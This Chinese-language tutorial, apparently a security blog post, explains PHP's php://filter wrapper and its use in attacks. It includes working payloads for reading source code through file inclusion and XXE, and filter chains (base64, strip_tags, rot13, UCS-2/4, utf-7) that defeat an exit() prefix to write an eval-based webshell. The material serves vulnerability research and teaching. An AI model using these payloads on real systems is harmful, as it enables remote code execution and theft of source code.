前言
在滲透測試或漏洞挖掘的過程中,我們經常會遇到php://filter
結合其它漏洞比如文件包含、文件讀取、反序列化、XXE等進行組合利用,以達到一定的攻擊效果,拿到相應的服務器權限。
最近看到php://filter
在ThinkPHP反序列化中頻繁出現利用其相應構造可以RCE,那么下面就來探索一下關於php://filter
在漏洞挖掘中的一些奇技淫巧。
php://filter
在探索php://filter在實戰當中的奇技淫巧時,一定要先了解關於php://filter的原理和利用。
php://filter是一種元封裝器,是PHP中特有的協議流,設計用於數據流打開時的篩選過濾應用,作用是作為一個“中間流”來處理其他流。
php://filter目標使用以下的參數作為它路徑的一部分。復合過濾鏈能夠在一個路徑上指定。
參數
使用
通過參數去了解php://filter的使用
- 測試代碼
<?php $file1 = $_GET['file1']; $file2 = $_GET['file2']; $txt = $_GET['txt']; echo file_get_contents($file1); file_put_contents($file2,$txt); ?>
- 讀取文件
payload:
index.php?file1=php://filter/resource=file.txt index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt
測試結果:
- 寫入文件
payload:
index.php?file2=php://filter/resource=test.txt&txt=Qftm index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm
測試結果:
過濾器
String Filters(字符串過濾器)每個過濾器都正如其名字暗示的那樣工作並與內置的 PHP 字符串函數的行為相對應。
(自 PHP 4.3.0 起)使用此過濾器等同於用 str_rot13()函數處理所有的流數據。
string.rot13
對字符串執行 ROT13 轉換,ROT13 編碼簡單地使用字母表中后面第 13 個字母替換當前字母,同時忽略非字母表中的字符。編碼和解碼都使用相同的函數,傳遞一個編碼過的字符串作為參數,將得到原始字符串。
- Example #1 string.rot13
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.rot13'); fwrite($fp, "This is a test.n"); /* Outputs: Guvf vf n grfg. */ ?>
(自 PHP 5.0.0 起)使用此過濾器等同於用 strtoupper()函數處理所有的流數據。
string.toupper 將字符串轉化為大寫
- Example #2 string.toupper
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.toupper'); fwrite($fp, "This is a test.n"); /* Outputs: THIS IS A TEST. */ ?>
(自 PHP 5.0.0 起)使用此過濾器等同於用 strtolower()函數處理所有的流數據。
string.toupper 將字符串轉化為小寫
- Example #3 string.tolower
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.tolower'); fwrite($fp, "This is a test.n"); /* Outputs: this is a test. */ ?>
(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已棄用此功能。)
使用此過濾器等同於用 strip_tags()函數處理所有的流數據。可以用兩種格式接收參數:一種是和 strip_tags()函數第二個參數相似的一個包含有標記列表的字符串,一種是一個包含有標記名的數組。
string.strip_tags從字符串中去除 HTML 和 PHP 標記,嘗試返回給定的字符串 str
去除空字符、HTML 和 PHP 標記后的結果。它使用與函數 fgetss() 一樣的機制去除標記。
Note: HTML 注釋和 PHP 標簽也會被去除。這里是硬編碼處理的,所以無法通過 allowable_tags 參數進行改變。
- Example #4 string.strip_tags
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>"); fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n"); fclose($fp); /* Outputs: <b>bolded text</b> enlarged to a level 1 heading */ $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u')); fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n"); fclose($fp); /* Outputs: <b>bolded text</b> enlarged to a level 1 heading */ ?>
Conversion Filters(轉換過濾器)如同 string. 過濾器,convert. 過濾器的作用就和其名字一樣。轉換過濾器是 PHP 5.0.0 添加的。
convert.base64-encode和 convert.base64-decode使用這兩個過濾器等同於分別用 base64_encode()和 base64_decode()函數處理所有的流數據。 convert.base64-encode支持以一個關聯數組給出的參數。如果給出了 line-length
,base64 輸出將被用 line-length
個字符為 長度而截成塊。如果給出了 line-break-chars
,每塊將被用給出的字符隔開。這些參數的效果和用 base64_encode()再加上 chunk_split()相同。
- Example #1 convert.base64-encode & convert.base64-decode
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode'); fwrite($fp, "This is a test.n"); fclose($fp); /* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */ $param = array('line-length' => 8, 'line-break-chars' => "rn"); $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param); fwrite($fp, "This is a test.n"); fclose($fp); /* Outputs: VGhpcyBp : cyBhIHRl : c3QuCg== */ $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg=="); fclose($fp); /* Outputs: This is a test. */ ?>
convert.quoted-printable-encode和 convert.quoted-printable-decode使用此過濾器的 decode 版本等同於用 quoted_printable_decode()函數處理所有的流數據。沒有和 convert.quoted-printable-encode相對應的函數。 convert.quoted-printable-encode支持以一個關聯數組給出的參數。除了支持和 convert.base64-encode一樣的附加參數外, convert.quoted-printable-encode還支持布爾參數 binary
和 force-encode-first
。 convert.base64-decode只支持 line-break-chars
參數作為從編碼載荷中剝離的類型提示。
- Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.quoted-printable-encode'); fwrite($fp, "This is a test.n"); /* Outputs: =This is a test.=0A */ ?>
這個過濾器需要 php 支持 iconv
,而 iconv 是默認編譯的。使用convert.iconv.*過濾器等同於用iconv()函數處理所有的流數據。
Note 該過濾在PHP中文手冊里面沒有標注,可查看英文手冊 https://www.php.net/manual/en/filters.convert.php
convery.iconv.*
的使用有兩種方法
convert.iconv.<input-encoding>.<output-encoding> or convert.iconv.<input-encoding>/<output-encoding>
- iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 字符串按要求的字符編碼來轉換
說明
iconv ( string $in_charset , string $out_charset , string $str ) : string
將字符串 str
從 in_charset
轉換編碼到 out_charset
。
參數
in_charset
輸入的字符集。
out_charset
輸出的字符集。如果你在 out_charset 后添加了字符串 //TRANSLIT,將啟用轉寫(transliteration)功能。這個意思是,當一個字符不能被目標字符集所表示時,它可以通過一個或多個形似的字符來近似表達。 如果你添加了字符串 //IGNORE,不能以目標字符集表達的字符將被默默丟棄。 否則,會導致一個 E_NOTICE並返回 FALSE。 str 要轉換的字符串。
返回值
返回轉換后的字符串, 或者在失敗時返回 **`FALSE`**。
Example #1 iconv()
<?php $text = "This is the Euro symbol '€'."; echo 'Original : ', $text, PHP_EOL; echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL; echo 'IGNORE : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL; echo 'Plain : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL; /* Outputs: Original : This is the Euro symbol '€'. TRANSLIT : This is the Euro symbol 'EUR'. IGNORE : This is the Euro symbol ''. Plain : Notice: iconv(): Detected an illegal character in input string in .iconv-example.php on line 7 */ ?>
- Example #3 convert.iconv.*
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); fwrite($fp, "This is a test.n"); fclose($fp); /* Outputs: This is a test. */ ?>
支持的字符編碼有一下幾種(詳細參考官方手冊)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
、、、、、、、
、、、、、、、
Note
* 表示該編碼也可以在正則表達式中使用。
** 表示該編碼自 PHP 5.4.0 始可用。
雖然 壓縮封裝協議提供了在本地文件系統中 創建 gzip 和 bz2 兼容文件的方法,但不代表可以在網絡的流中提供通用壓縮的意思,也不代表可以將一個非壓縮的流轉換成一個壓縮流。對此,壓縮過濾器可以在任何時候應用於任何流資源。
Note: 壓縮過濾器 不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。
zlib. 壓縮過濾器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。也可以通過安裝來自 » PECL的 » zlib_filter包作為一個后門在 5.0.x版中使用。此過濾器在 PHP 4 中 不可用*。
bzip2. 壓縮過濾器自 PHP 版本 5.1.0起可用,在激活 bz2支持的前提下。也可以通過安裝來自 » PECL的 » bz2_filter包作為一個后門在 5.0.x版中使用。此過濾器在 PHP 4 中 不可用*。
詳細細節參考官方文檔
https://www.php.net/manual/zh/filters.compression.php
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了對稱的加密和解密。這兩組過濾器都支持 mcrypt 擴展庫中相同的算法,格式為 mcrypt.ciphername,其中 ciphername
是密碼的名字,將被傳遞給 mcrypt_module_open()。有以下五個過濾器參數可用:
詳細細節參考官方文檔
https://www.php.net/manual/zh/filters.encryption.php
在了解了有關php://filter
的原理和利用之后,下面開始探索php://filter在漏洞挖掘中的奇妙之處。
文件包含
在文件包含漏洞當中,因為php://filter可以對所有文件進行編碼處理,所以常常可以使用php://filter來包含讀取一些特殊敏感的文件(配置文件、腳本文件等)以輔助后面的漏洞挖掘。
測試代碼
<?php $file = $_GET['file']; include($file); ?>
漏洞利用
利用條件:無
利用姿勢1:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通過指定末尾的文件,可以讀取經base64加密后的文件源碼,之后再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。同時也能夠對網站源碼進行審計。
利用姿勢2:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,只是少了個read關鍵字,在繞過一些waf時也許有用。
XXE Encode
由於XXE漏洞的特殊性,我們在讀取HTML、PHP等文件時可能會拋出此類錯誤parser error : StartTag: invalid element name
。其原因是,PHP是基於標簽的腳本語言,這個語法也與XML相符合
,所以在解析XML的時候會被誤認為是XML,而其中內容(比如特殊字符)又有可能和標准XML沖突,所以導致了出錯。
那么,為了讀取包含有敏感信息的PHP等源文件,可以將“可能引發沖突的PHP代碼”編碼一遍,然后再顯示,這樣就不會出現沖突。
這個時候可以使用php://filter
協議作為中間流將XXE讀取的文件進行base64編碼處理之后再顯示。
payload:
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>
Bypass file_put_contents Exit
關於代碼終結者<?php exit; ?>
想必大家在漏洞挖掘中寫入shell的時候經常會遇到,在這樣的情況下無論寫入的shell是否成功都不會執行傳入的惡意代碼,因為在惡意代碼執行之前程序就已經結束退出了,導致shell后門利用失敗。
實際漏洞挖掘當中主要會遇到以下兩種限制:
- 寫入shell的文件名和內容不一樣(前后變量不同)
- 寫入shell的文件名和內容一樣(前后變量相同)
針對以上不同的限制手法所利用的姿勢與技巧也不太一樣,當然利用的難度也會不一樣(第二種相對第一種利用較復雜)。
下面就針對死亡exit
限制手法進行探索與繞過。
Bypass-相同變量
針對寫入shell的文件名和內容不一樣的時候,進行探索繞過
<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ?>
分析代碼可以看到,$content
在開頭增加了exit,導致文件運行直接退出!!
在這種情況下該怎么繞過這個限制呢,思路其實也很簡單我們只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以,下面介紹探索的幾種利用繞過手法。
在上面的介紹中我們知道php://filter
中convert.base64-encode
和convert.base64-decode
使用這兩個過濾器等同於分別用 base64_encode()
和 base64_decode()
函數處理所有的流數據。
在代碼中可以看到$_POST['filename']
是可以控制協議的,既然可以控制協議,那么我們就可以使用php://filter協議的轉換過濾器進行base64編碼與解碼來繞過限制。所以我們可以將$content
內容進行解碼,利用php base64_decode函數特性去除“exit”。
Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作后綴用途。
- base64索引表
base64編碼與解碼的基礎索引表如下
- Base64編碼原理
(1)base64編碼過程
Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作后綴用途。
Base64將輸入字符串按字節切分,取得每個字節對應的二進制值(若不足8比特則高位補0),然后將這些二進制數值串聯起來,再按照6比特一組進行切分(因為2^6=64),最后一組若不足6比特則末尾補0。將每組二進制值轉換成十進制,然后在上述表格中找到對應的符號並串聯起來就是Base64編碼結果。
由於二進制數據是按照8比特一組進行傳輸,因此Base64按照6比特一組切分的二進制數據必須是24比特的倍數(6和8的最小公倍數)。24比特就是3個字節,若原字節序列數據長度不是3的倍數時且剩下1個輸入數據,則在編碼結果后加2個=;若剩下2個輸入數據,則在編碼結果后加1個=。
完整的Base64定義可見RFC1421和RFC2045。因為Base64算法是將3個字節原數據編碼為4個字節新數據,所以Base64編碼后的數據比原始數據略長,為原來的4/3。
(2)簡單編碼流程
1)將所有字符轉化為ASCII碼;
2)將ASCII碼轉化為8位二進制;
3)將8位二進制3個歸成一組(不足3個在后邊補0)共24位,再拆分成4組,每組6位;
4)將每組6位的二進制轉為十進制;
5)從Base64編碼表獲取十進制對應的Base64編碼;
下面舉例對字符串“ABCD”
進行base64編碼:
對於不足6位的補零(圖中淺紅色的4位),索引為“A”;對於最后不足3字節,進行補零處理(圖中紅色部分),以“=”替代,因此,“ABCD”的base64編碼為:“QUJDRA==”。
- Base64解碼原理
(1)base64解碼過程
base64解碼,即是base64編碼的逆過程,如果理解了編碼過程,解碼過程也就容易理解。將base64編碼數據根據編碼表分別索引到編碼值,然后每4個編碼值一組組成一個24位的數據流,解碼為3個字符。對於末尾位“=”的base64數據,最終取得的4字節數據,需要去掉“=”再進行轉換。
(2)base64解碼特點
base64編碼中只包含64個可打印字符,而PHP在解碼base64時,遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼。下面編寫一個簡單的代碼,測試一組數據看是否滿足我們所說的情況。
測試代碼
探測base64_decode解碼的特點
<?php /** * Created by PhpStorm. * User: Qftm * Date: 2020/3/17 * Time: 9:16 */ $basestr0="QftmrootQftm"; $basestr1="Qftm#root@Qftm"; $basestr2="Qftm^root&Qftm"; $basestr3="Qft>mro%otQftm"; $basestr4="Qf%%%tmroo%%%tQftm"; echo base64_decode($basestr0)."n"; echo base64_decode($basestr1)."n"; echo base64_decode($basestr2)."n"; echo base64_decode($basestr3)."n"; echo base64_decode($basestr4)."n"; ?>
運行結果
從結果中可以看到一個字符串中,不管出現多少個特殊字符或者位置上的差異,都不會影響最終的結果,可以驗證base64_decode是遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼。
知道php base64解碼特點之后,當$content
被加上了<?php exit; ?>
以后,我們可以使用 php://filter/write=convert.base64-decode
來首先對其解碼。在解碼的過程中,字符< ? ; > 空格
等一共有7個字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有”phpexit”和我們傳入的其他字符。
由於,”phpexit”一共7個字符,但是base64算法解碼時是4個byte一組,所以我們可以隨便再給他添加一個字符(Q)
就可以,這樣”phpexitQ”被正常解碼,而后面我們傳入的webshell的base64內容也被正常解碼,這樣就會將<?php exit; ?>
這部分內容給解碼掉,從而不會影響我們寫入的webshell。
- payload
http://192.33.6.145/test.php POST txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php base64decode組成 phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
- 載荷效果
從服務器上可以看到已經生成shell.php,同時<?php exit; ?>
這部分已經被解碼掉了。
除了可以使用php://filter的轉換過濾器繞過以外還可以使用其字符串過濾器進行繞過利用。
利用php://filter中string.strip_tags
過濾器去除”exit”。使用此過濾器等同於用 strip_tags()函數處理所有的流數據。我們觀察一下,這個<?php exit; ?>
,實際上是一個XML標簽,既然是XML標簽,我們就可以利用strip_tags函數去除它。
- 測試代碼
<?php echo readfile('php://filter/read=string.strip_tags/resource=php://input'); ?>
- 測試payload
php://filter/read=string.strip_tags/resource=php://input
- 載荷效果
載荷利用雖然成功了,但是我們的目的是寫入webshell,如果那樣的話,我們的webshell豈不是同樣起不了作用,不過我們可以使用多個過濾器進行繞過這個限制(php://filter允許通過 |
使用多個過濾器)。
- 具體步驟分析
1、webshell用base64編碼 //為了避免strip_tags的影響 2、調用string.strip_tags //這一步將去除<?php exit; ?> 3、調用convert.base64-decode //這一步將還原base64編碼的webshell
- payload
http://192.33.6.145/test.php POST txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
- 載荷效果
從服務上可以看到已經生成shell.php,同時<?php exit; ?>
這部分已經被string.strip_tags
去除掉。
在字符串過濾器中除了使用string.strip_tags
Bypass外還可以使用string.rot13
進行Bypass利用,下面通過分析了解其利用手法。
在上面的php://filter講解中,我們知道string.rot13(自 PHP 4.3.0 起)使用此過濾器等同於用 str_rot13()函數處理所有的流數據。
- str_rot13()
str_rot13() 函數對字符串執行 ROT13 編碼。
ROT13 編碼是把每一個字母在字母表中向前移動 13 個字母得到。數字和非字母字符保持不變。
編碼和解碼都是由相同的函數完成的。如果您把一個已編碼的字符串作為參數,那么將返回原始字符串。
- 分析繞過
分析利用php://filter中string.rot13
過濾器去除”exit”。string.rot13的特性是編碼和解碼都是自身完成,利用這一特性可以去除exit
。<?php exit; ?>
在經過rot13編碼后會變成<?cuc rkvg; ?>
,不過這種利用手法的前提是PHP不開啟short_open_tag
查看官方給的說明手冊
short_open_tag boolean
決定是否允許使用 PHP 代碼開始標志的縮寫形式(<? ?>)。如果要和 XML 結合使用 PHP,可以禁用此選項以便於嵌入使用 <?xml ?>。否則還可以通過 PHP 來輸出,例如:<?php echo '<?xml version="1.0"'; ?>。如果禁用了,必須使用 PHP 代碼開始標志的完整形式(<?php ?>)。
雖然官方說的默認開啟,但是在php.ini中默認是注釋掉的,也就是說它還是默認關閉。
; short_open_tag ; Default Value: On ; Development Value: Off ; Production Value: Off
PS:有一點奇怪的是,Linux下查看是正常的,但是在windows下同樣的配置查看顯示的是開啟的,難道是phpstudy的鍋?還是說是不同系統的問題?有了解的師傅可以告訴一下。
- payload
POST
txt=<?cuc @riny($_CBFG[Dsgz])?>&filename=php://filter/write=string.rot13/resource=shell.php <?php exit; ?> <?cuc rkvg; ?> <?php @eval($_POST[Qftm])?> <?cuc @riny($_CBFG[Dsgz])?>
- 載荷效果
從服務上可以看到已經生成shell.php,同時<?php exit; ?>
這部分已經被string.rot13
編碼所處理掉了。
針對相同變量的文件exit
寫入shell的繞過手法,除了上面這些方法繞過以外,關於php://filter其他的奇思妙想,感興趣的還可以在進行探索發現。
Bypass-不同變量
針對寫入shell的文件名和內容一樣的時候,進行探索繞過。
有了上面第一種情況的繞過與利用姿勢,那么在第二種條件限制情況下,可以在第一種的手法上進行拓展探索利用。
<?php $a = $_GET[a]; file_put_contents($a,'<?php exit();'.$a) ?>
這段代碼在ThinkPHP5.0.X反序列化中出現過,利用其組合才能夠得到RCE。有關ThinkPHP5.0.x的反序列化這里就不說了,主要是探索如何利用php://filter繞過該限制寫入shell后門得到RCE的過程。
分析代碼可以看到,這種情況下寫入的文件,其文件名和文件部分內容一致,這就導致利用的難度大大增加了,不過最終目的還是相同的:去除死亡exit
寫入shell后門。
針對這種限制手法,我們可以在上面第一種Bypass手法的基礎上進行拓展挖掘。
在上面不同變量利用base64構造payload的基礎上,可以針對相同變量再次構造相應payload,在文件名中包含,滿足正常解碼就可以。
- 構造payload
a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php //注意payload中的字符'+'在瀏覽器中需要轉換為%2B
但是這樣構造發現是不可以的,因為構造的payload里面包含’=’符號,而base64解碼的時候如果字符’=’后面包含有其他字符則會報錯。
下面進行測試驗證
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+") >>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=") >>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=q")
從測試的結果來看base64解碼的時候字符’=’后面確實不能包含有其他字符,因為該字符在base64編碼當中是作為填充字符出現的。
那么能不能嘗試把字符等號去掉,分析payload可以把字符串write=
去掉減少一個等號,但是字符串resource=
里面的等號不能去掉,也就導致該payload構造失敗。
既然這種方法不可以那么就可以試試探索其它方法(下面在講述convert.iconv.*的時候會講述怎么繞過base64解碼時字符’=’的限制)
還是在上面不同變量的基礎上進行拓展,由於上面第一種情況的限制代碼直接就是<?php exit; ?>
可以直接利用strip_tags
去掉,但是現在這種情況下的限制代碼和上面的有點不一樣了,少了一段字符?>
,其限制代碼為<?php exit;
,不過構造的目的是相同的最終還是要把exit;
給去除掉。
分析兩者限制代碼的不同,那么我們可以直接再給它加一個?>
字符串進行閉合就可以利用了
- 構造payload
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
- 代碼組合
<?php exit();php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
分析組合后未處理的文件內容,發現成功的構造php標簽<?php xxxx ?>
,同時也可以發現代碼中的字符等號’=’也包含在php標簽里面,那么在經過strip_tags處理的時候都會去除掉,之后就不會影響base64的正常解碼了。
- 載荷效果
可以看到payload請求成功,在服務器上生成了相應的文件,同時也正常的寫入了webshell
雖然這樣利用成功了,但是會發現這樣的文件訪問會有問題的,采用@Cyc1e
師傅介紹的方法,利用../
重命名即可解決。
- 利用技巧
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
作為目錄名(不管存不存在),再用../
回退一下,這樣創建出來的文件名為Qftm.php,這樣創建出來的文件名就正常了
有一個缺點就是這種利用手法在windows下利用不成功,因為文件名里面的? >
等這些是特殊字符會導致文件的創建失敗。
同樣借助第一種相同變量的利用技巧進行拓展,構造相應的payload,這里的限制不需要閉合exit;
也可以利用。
- 構造payload
a=php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[Dsgz])?>/../Qftm.php
- 載荷效果
可以看到payload利用成功,生成目標惡意代碼文件,同時惡意代碼文件訪問執行成功
針對string.rot13
這種Bypass手段,還有另一種方法可以生成正常文件,利用非php://filter參數進行繞過,雖然該方法不存在但是php://filter處理的時候只會顯示警告不影響后續的執行
- 構造payload
a=php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=Qftm.php
這種構造可以使得惡意代碼不會存在文件名中,避免了一下文件名因包含特殊字符而出錯,當然這種構造在windows下一樣可以正常利用。
- 載荷效果
除了上面幾種手段在第一種Bypass利用手法的基礎上拓展利用,還可以在對php://filter中其它有關方法進行挖掘利用,下面講述一下關於convert.iconv.*
的挖掘利用。
關於convert.iconv.*
的詳細介紹可以看上面對php://filter的介紹。
對於iconv字符編碼轉換進行繞過的手法,其實類似於上面所述的base64編碼手段,都是先對原有字符串進行某種編碼然后再解碼,這個過程導致最初的限制exit;
去除,而我們的惡意代碼正常解碼存儲。
下面具體看一下有哪些組合手法可以來Bypass exit
UCS-2編碼轉換
php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>'); ?<hp pe@av(l_$OPTSQ[tf]m;)>? >>> len("<?php @eval($_POST[Qftm]);?>") 28 -> 2*14 >>>
通過UCS-2方式,對目標字符串進行2位一反轉(這里的2LE和2BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-2中2的倍數,不然不能進行正常反轉(多余不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
- 構造payload
a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php 組合出的payload: <?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php 核心部分: <?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>? >>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?") 84 -> 2*42 >>>
- 載荷效果
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼后門webshell成功。
UCS-4編碼轉換
php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>'); hp?<e@ p(lavOP_$Q[TS]mtf>?;) >>> len("<?php @eval($_POST[Qftm]);?>") 28 -> 4*7 >>>
通過UCS-4方式,對目標字符串進行4位一反轉(這里的4LE和4BE可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是UCS-4中4的倍數,不然不能進行正常反轉(多余不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了
- 構造payload
a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php 組合出的payload: <?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php 核心部分: <?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;) >>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|") 56 -> 4*14 >>>
- 載荷效果
從請求和服務器查看結果可以看到構造的payload執行傳入惡意代碼后門webshell成功。
當然這種方法(UCS-2/4)對於上面講述的第一種情況前后不同變量也是一樣適用的。
前面介紹單獨用base64編碼是不可行的(繞不過字符’=’的限制),不過這里可以借助組合拳(iconv+base64)進行繞過字符’=’在base64解碼中的影響。通過iconv將utf-8編碼轉為utf-7編碼,從而把’=’給轉了,最終也就不會影響到base64的正常解碼。
- 測試代碼
<?php $a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt'; file_put_contents($a,'='); /** Qftm.txt 寫入的內容為: +AD0- **/
從結果可以看到,convert.iconv 這個過濾器把 =
轉化成了 +AD0-
,要知道 +AD0-
是可以被 convert.base64-decode
過濾器解碼的,由此利用其構造組合payload繞過base64限制。
- 構造payload
a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php //這里需要注意的是要符合base64解碼按照4字節進行的 utf-8 -> utf-7 +ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php base64解碼特點剔除不符合字符(只要惡意代碼前面部分正常就可以,長度為4的倍數) +ADwphpexit+ADsphp//filter/write+AD0 >>> len("+ADwphpexit+ADsphp//filter/write+AD0") 36 -> 4*9 >>> 正常base64解碼部分 +ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
- 載荷效果
可以看到這種組合效果是可以的,成功繞過了base64與exit;
的限制。
總結
這里提到了關於php://filter常用的過濾器利用與組合利用的手法來進行漏洞挖掘或者Bypass,當然php://filter還有其他的過濾器是可以用的,不過思路都是一樣的,都是通過某種利用組合達到一定的目的。